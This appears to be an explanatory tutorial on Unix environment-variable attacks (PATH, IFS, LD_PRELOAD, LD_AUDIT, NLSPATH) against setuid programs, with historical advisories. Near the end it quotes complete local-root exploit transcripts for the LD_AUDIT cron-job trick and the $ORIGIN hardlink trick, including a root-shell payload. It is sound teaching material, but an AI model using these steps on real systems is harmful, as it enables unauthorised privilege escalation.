On a Unix system an environment is maintained.
The environment of a program is an array of strings of the
form "name=value". It may give data like the home directory
of the present user (HOME
) or her login name
(USER
or LOGNAME
) or the language she would
like to see messages in (LANG
) or the default printer
to be used (PRINTER
or LPDEST
) or the local
time zone (TZ
) etc. etc.
This environment is completely under user control: simple
shell commands (like setenv
) or C library routines
(like putenv()
) or direct C code can be used to
modify it.
Many programs can be subverted by suitable environment settings.
Programs that read some environment variable into an array of fixed size without bounds checking can be cracked by supplying very long values. (For details on how to do this, see the section Smashing The Stack below.)
For example, on numerous Unix systems the rlogin
program
is vulnerable to a buffer overflow caused by overly long TERM
.
A 1997
advisory.
An
IRIX exploit.
Another example is
this
SunOS 5.7 exploit
from 1999. (A buffer overflow caused by overly long LC_MESSAGES
.)
Or
this AIX exploit
from 2000. (Again LC_MESSAGES
.)
Another example is this
SunOS 5.7 exploit
from 2001. (A buffer overflow caused by overly long MAIL
.)
Another example is this
Solaris 8.0 exploit
from 2001. (A buffer overflow caused by overly long HOME
.)
Or this
Irix 6.5 exploit from 2003.
(A
local root exploit -
it still works on all Irix machines I have access to.)
Another example is the
recent exploit
(for many Unix-like systems like SCO, Sun, HP) of the libDTHelp
library of the Common Desktop Environment (Nov. 2003) allowing
local root compromise. Lots of systems are still vulnerable.
(A buffer overflow caused by overly long DTHELPUSERSEARCHPATH
.)
Another example is the
2003
Solaris exploit
of a buffer overflow caused by an overly long LD_PRELOAD
.
Another example is the
2005
SCO Open Server exploit of a buffer overflow caused by
an overly long HOME
.
There are hundreds of examples.
The tiny utility sharefuzz
(that hooks the getenv()
library call and makes it return very long strings) can be used to
quickly search for examples of such vulnerabilities. Segfaults
are often indications of a buffer overflow.
Naive programs that want to write a file in the user's home
directory can be tricked to write elsewhere by setting $HOME
.
Naive programs that expect all binaries and configuration files
to live somewhere under $FOOBAR_HOME
, can be made to
execute different binaries or read different configuration files.
This is especially useful in case of setuid binaries.
For example,
this 2001 alert
warns about the possibility that an attacker can modify the
ORACLE_HOME
environment variable, and via the setuid dbsnmp
achieve the privileges of the oracle account. (Immediately afterwards
it was discovered that there also is an exploitable buffer overflow there.)
Environment variables like LD_LIBRARY_PATH
and
LD_PRELOAD
influence the behaviour of the dynamic
loader/linker. Using them one can replace parts of the C library
by custom versions. Systems where these are honoured for setuid
root binaries are toast.
The environment variable LD_DEBUG
can be used to debug
the dynamic loader/linker. It generates some output for each
program that is loaded. (Try LD_DEBUG=all ls -l /
.)
This can be used to slow down programs when that is needed
to exploit a
race condition.
The environment variable PATH
gives the list of directories
(like /home/aeb/bin:/bin:/usr/bin:...
) that will
be searched for a command given. If one can change it and put
/attacker/bin
in front, the command may do surprising things.
Long ago it was normal to have a PATH
that started with .
,
the current directory. But that means that just doing an ls
in a random directory may be dangerous - one might get the attacker's
version of ls
.
The value of PATH
is used by the C library routines
execlp(3), execvp(3), popen(3) and system(3) to find utilities
to invoke. Thus, any program that uses one of these functions
is potentially vulnerable.
The environment variable NLSPATH
gives a list of pathnames
that catopen()
will consult searching for localized
message catalogs. Numerous systems have had vulnerabilities
associated with this environment variable. Since usually all
system software is designed to give localized messages, a problem
here affects all setuid root binaries on the system.
Most recently (Nov 2002) HP-UX was found to have
a buffer overflow,
with patches released Nov 2003. Many systems are still vulnerable.
Here an
exploit
- sorry, a test to see whether your system is vulnerable.
A famous case is that of the IFS
variable used by sh
,
the shell (command interpreter). It gives the internal field separators,
the characters like space, tab and newline that separate words in a
shell command. It is useful to be able to set it. For example, one
often temporarily adds the colon character in order to do something
for all directories in the user's PATH
. But this power is
very useful to an attacker.
The C library call system()
can be used to execute
a system command from a C program. It calls sh
with the
given string as argument. For example, if one wants
to send mail from a program, one might write
system("mail");and
sh -c mail
would be executed.
If a setuid root program would do this, it would be tricked immediately:
the attacker would put his own executable mail
in some
directory, put that directory in front of the PATH
and system()
would invoke the attacker's executable.
OK. So one must be careful and give the full pathname.
(Unfortunate - is it /bin/mail
or /usr/bin/mail
or something else?)
system("/bin/mail");Code like this was used for a while until a creative person thought of adding the slash character / to
IFS
.
Then / is treated like a space, so that this becomes the command
bin mail
. We are in business again - this time a custom
executable called bin
will do the trick.
Remains to find a setuid root executable that sends mail.
(Or, more precisely, that invokes system()
.)
And such executables are (were) easy to find.
I have used this on a few occasions with the executable
expreserve
that sends users mail after a system crash
about saved copies of their temporary editing files that they
may get back using virecover
. This hole was discovered
around 1985.
Here
an exploit (using IFS
to trick rdist
) from 1991.
Here
an exploit (using IFS
to trick rmail
on AIX) from 1994.
Here
an exploit (using IFS
to trick sendmail
on SunOS 4.1.4)
from 1995.
The hole was fixed on most systems, but variations on this theme - tricks to influence the way the shell interprets a given command string - continue to be found.
In 2004 it was
discovered
that cdrecord
(which often is installed setuid root) fails to drop
privileges when calling $RSH
to access a remote device.
A local root.
In 2004 it was
discovered
that sudo
(which is often installed in such a way
that local users can do a limited list of things) could be
subverted by putting suitable variables in the environment,
in case sudo was used to run a bash script:
% cat xls #!/bin/sh ls % export ls="() { date; }" % sudo ./xls Wed Jan 19 23:23:45 CET 2005
In 2005 it was discovered (see
1,
2,
3)
that perl
, when executing a setuid-root perl, would overwrite
the file pointed to by the PERLIO_DEBUG
environment variable.
If that variable is long, then there is also a local root exploit by buffer
overflow. There is also a different buffer overflow there.
The function system()
is dangerous and should not be used
in programs intended to be secure. And for popen()
precisely the same holds. It also invokes sh -c
and can be defeated using the same tricks.
Above we discussed setting IFS
. Another popular approach
is the use of special characters. A pathname can contain arbitrary
characters (except NUL). But lots of characters have a special
meaning to sh
. Embed a semicolon or vertical bar or
exclamation mark or newline or escape sequence in a filename
and get surprising results.
(This is a very old trick, but uses come up repeatedly. Linux modutils vulnerability (2000). A report from 2001. And one from 2002 for the SCO X server in Unixware 7.1.1 and Open Unix 8.0.0. An IRIX remote root exploit (2002). )
As a security measure, the glibc library will return NULL
for certain environment variables that influence the semantics
of certain libc functions, when used from a setuid binary.
For glibc 2.2.5-2.3.2 the list is
LD_AOUT_LIBRARY_PATH
, LD_AOUT_PRELOAD
,
LD_LIBRARY_PATH
, LD_PRELOAD
,
LD_ORIGIN_PATH
, LD_DEBUG_OUTPUT
,
LD_PROFILE
, GCONV_PATH
, HOSTALIASES
,
LOCALDOMAIN
, LOCPATH
, MALLOC_TRACE
,
NLSPATH
, RESOLV_HOST_CONF
, RES_OPTIONS
,
TMPDIR
, TZDIR
.
Glibc 2.3.3 adds LD_USE_LOAD_BIAS
.
Glibc 2.3.4 adds LD_DEBUG
, LD_DYNAMIC_WEAK
,
LD_SHOW_AUXV
, GETCONF_DIR
.
(Pity! LD_DEBUG was so useful in winning races. But the idea of
throttling error message output via a pipe is still useful.)
Glibc 2.4 adds LD_AUDIT
.
Glibc 2.5.1 adds NIS_PATH
.
Also MALLOC_CHECK_
is removed, unless /etc/suid-debug
exists.
Stealth and
kingcope
discovered a 2009 local root exploit in FreeBSD,
where things like unsetenv("LD_PRELOAD")
are done for
setuid binaries, but the unsetenv()
can fail if the
environment is not well-formed, so that any setuid binary can be
preloaded with arbitrary code.
Tavis Ormandy found two 2010 local root exploits involving LD_AUDIT, one via $ORIGIN and one via LD_AUDIT library constructors.
The second one uses the LD_AUDIT environment variable to specify
libraries for a setuid binary to use. Glibc is smart enough to
only allow library names without /
, that is, libraries
found on the trusted library path (e.g. /lib
, /usr/lib
),
but some of these libraries have constructors that run at load time
and are not safe for suid use. It does not matter that such a library
errors out because it fails to provide the audit API: the constructor
has run already. The exploit (using another environment
variable PCPROFILE_OUTPUT to tell the unsafe library where to write):
The exact steps required to exploit this vulnerability will vary from distribution to distribution, but an example from Ubuntu 10.04 is given below. # The creation mask is inherited by children, and survives even a setuid # execve. Therefore, we can influence how files are created during # exploitation. $ umask 0 # libpcprofile is distributed with the libc package. $ dpkg -S /lib/libpcprofile.so libc6: /lib/libpcprofile.so $ ls -l /lib/libpcprofile.so -rw-r--r-- 1 root root 5496 2010-10-12 03:32 /lib/libpcprofile.so # We identified one of the pcprofile constructors is unsafe to run with # elevated privileges, as it creates the file specified in the output # environment variable. $ LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping ERROR: ld.so: object 'libpcprofile.so' cannot be loaded as audit interface: undefined symbol: la_version; ignored. Usage: ping [-LRUbdfnqrvVaA] [-c count] [-i interval] [-w deadline] [-p pattern] [-s packetsize] [-t ttl] [-I interface or address] [-M mtu discovery hint] [-S sndbuf] [ -T timestamp option ] [ -Q tos ] [hop1 ...] destination # This results in creating a world writable file in the crontab directory. $ ls -l /etc/cron.d/exploit -rw-rw-rw- 1 root taviso 65 2010-10-21 14:22 /etc/cron.d/exploit # Setup a cronjob to give us privileges (of course, there are dozens of other # ways this could be exploited). $ printf "* * * * * root cp /bin/dash /tmp/exploit; chmod u+s /tmp/exploit\n" > /etc/cron.d/exploit # Wait a few minutes... $ ls -l /tmp/exploit ls: cannot access /tmp/exploit: No such file or directory $ ls -l /tmp/exploit ls: cannot access /tmp/exploit: No such file or directory $ ls -l /tmp/exploit -rwsr-xr-x 1 root root 83888 2010-10-21 14:25 /tmp/exploit # A setuid root shell appears. $ /tmp/exploit # whoami root
The first exploit uses the fact that glibc fails to ignore $ORIGIN (not an environment variable but a tag in the ELF executable) when loading suid binaries. From ld.so(8):
$ORIGIN ld.so understands the string $ORIGIN (or equivalently ${ORIGIN}) in an rpath specification to mean the directory containing the application exe- cutable. Thus, an application located in somedir/app could be compiled with gcc -Wl,-rpath,'$ORIGIN/../lib' so that it finds an associated shared library in somedir/lib no matter where somedir is located in the directory hierarchy.Now the directory containing an executable can be manipulated by creating a hardlink. And thus:
# Create a directory in /tmp we can control. $ mkdir /tmp/exploit # Link to an suid binary, thus changing the definition of $ORIGIN. $ ln /bin/ping /tmp/exploit/target # Open a file descriptor to the target binary (note: some users are surprised # to learn exec can be used to manipulate the redirections of the current # shell if a command is not specified. This is what is happening below). $ exec 3< /tmp/exploit/target # This descriptor should now be accessible via /proc. $ ls -l /proc/$$/fd/3 lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target* # Remove the directory previously created $ rm -rf /tmp/exploit/ # The /proc link should still exist, but now will be marked deleted. $ ls -l /proc/$$/fd/3 lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target (deleted) # Replace the directory with a payload DSO, thus making $ORIGIN a valid target to dlopen(). $ cat > payload.c void __attribute__((constructor)) init() { setuid(0); system("/bin/bash"); } ^D $ gcc -w -fPIC -shared -o /tmp/exploit payload.c $ ls -l /tmp/exploit -rwxrwx--- 1 taviso taviso 4.2K Oct 15 09:22 /tmp/exploit* # Now force the link in /proc to load $ORIGIN via LD_AUDIT. $ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3 sh-4.1# whoami root sh-4.1# id uid=0(root) gid=500(taviso)
When the cyber-security company HB Gary Federal announced that they had investigated individuals associated with Anonymous, that group hit back, broke the security of all HB Gary sites, copied the source code and published all emails. The attack used SQL Injection, then Social Engineering, and finally the above $ORIGIN expansion vulnerability. ( techherald report, 7 Feb 2011)